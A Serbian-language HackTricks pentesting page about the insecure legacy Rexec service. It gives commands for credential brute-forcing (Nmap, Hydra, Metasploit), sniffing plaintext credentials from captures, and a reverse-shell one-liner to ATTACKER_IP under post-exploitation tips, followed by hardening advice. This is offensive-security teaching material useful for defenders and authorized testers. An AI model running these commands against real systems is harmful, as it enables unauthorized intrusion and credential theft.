512 - Pentesting Rexec
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Rexec (remote exec) je jedan od originalnih Berkeley r-servisa (zajedno sa rlogin, rsh, …). Omogućava daljinsko izvršavanje komandi autentifikovano samo sa korisničkim imenom i lozinkom u čistom tekstu. Protokol je definisan početkom 1980-ih (vidi RFC 1060) i danas se smatra nesigurnim po dizajnu. Ipak, još uvek je podrazumevano omogućen u nekim nasleđenim UNIX / mrežno povezanim uređajima i povremeno se pojavljuje tokom internih pentestova.
Podrazumevani port: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Sav saobraćaj – uključujući akreditive – se prenosi nekriptovano. Svako ko ima mogućnost da prisluškuje mrežu može da povrati korisničko ime, lozinku i komandu.
Brzi pregled protokola
- Klijent se povezuje na TCP 512.
- Klijent šalje tri NUL-terminirane stringa:
- broj porta (kao ASCII) na kojem želi da primi stdout/stderr (često
0), - korisničko ime,
- lozinku.
- Poslednji NUL-terminirani string sa komandom koja treba da se izvrši se šalje.
- Server odgovara sa jednim 8-bitnim statusnim bajtom (0 = uspeh,
1= neuspeh) praćenim izlazom komande.
To znači da možete ponoviti razmenu sa samo echo -e i nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Ako su akreditivi validni, dobićete izlaz id odmah nazad na istoj vezi.
Ručna upotreba sa klijentom
Mnoge Linux distribucije još uvek isporučuju legacijski klijent unutar paketa inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Ako je -p izostavljen, klijent će interaktivno tražiti lozinku (vidljivu na mreži u čistom tekstu!).
Enumeracija i Brute-forcing
Brute-force
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE koristi protokol opisan iznad da brzo proba kredencijale.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra ima posvećen rexec modul i ostaje najbrži offline bruteforcer. medusa (-M REXEC) i ncrack (rexec modul) mogu se koristiti na isti način.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Modul će pokrenuti shell nakon uspeha i sačuvati kredencijale u bazi podataka.
Snimanje kredencijala
Pošto je sve u čistom tekstu, snimci mreže su neprocenjivi. Sa kopijom saobraćaja možete izvući kredencijale bez dodirivanja mete:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark omogućite Decode As … TCP 512 → REXEC da biste videli lepo analizirana polja.)
Saveti nakon eksploatacije
- Komande se izvršavaju sa privilegijama datog korisnika. Ako je
/etc/pam.d/rexecpogrešno konfiguran (npr.pam_rootok), root ljuske su ponekad moguće. - Rexec ignoriše korisničku ljusku i izvršava komandu putem
/bin/sh -c <cmd>. Stoga možete koristiti tipične trikove za bekstvo iz ljuske (;,$( ), backticks) da povežete više komandi ili pokrenete obrnute ljuske:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Lozinke se često čuvaju u ~/.netrc na drugim sistemima; ako kompromitujete jedan host, možete ih ponovo koristiti za lateralno kretanje.
Ojačavanje / Detekcija
- Ne izlažite rexec; zamenite ga sa SSH. Virtuelno svi moderni inetd superserveri podrazumevano komentarišu ovu uslugu.
- Ako ga morate zadržati, ograničite pristup pomoću TCP wrapper-a (
/etc/hosts.allow) ili pravila vatrozida i primenite jake lozinke po nalogu. - Pratite saobraćaj ka :512 i pokretanje
rexecdprocesa. Jedan paketni snimak je dovoljan da otkrije kompromitaciju. - Onemogućite
rexec,rlogin,rshzajedno – dele većinu istog koda i slabosti.
Reference
- Nmap NSE
rexec-brutedokumentacija – https://nmap.org/nsedoc/scripts/rexec-brute.html - Rapid7 Metasploit modul
auxiliary/scanner/rservices/rexec_login– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks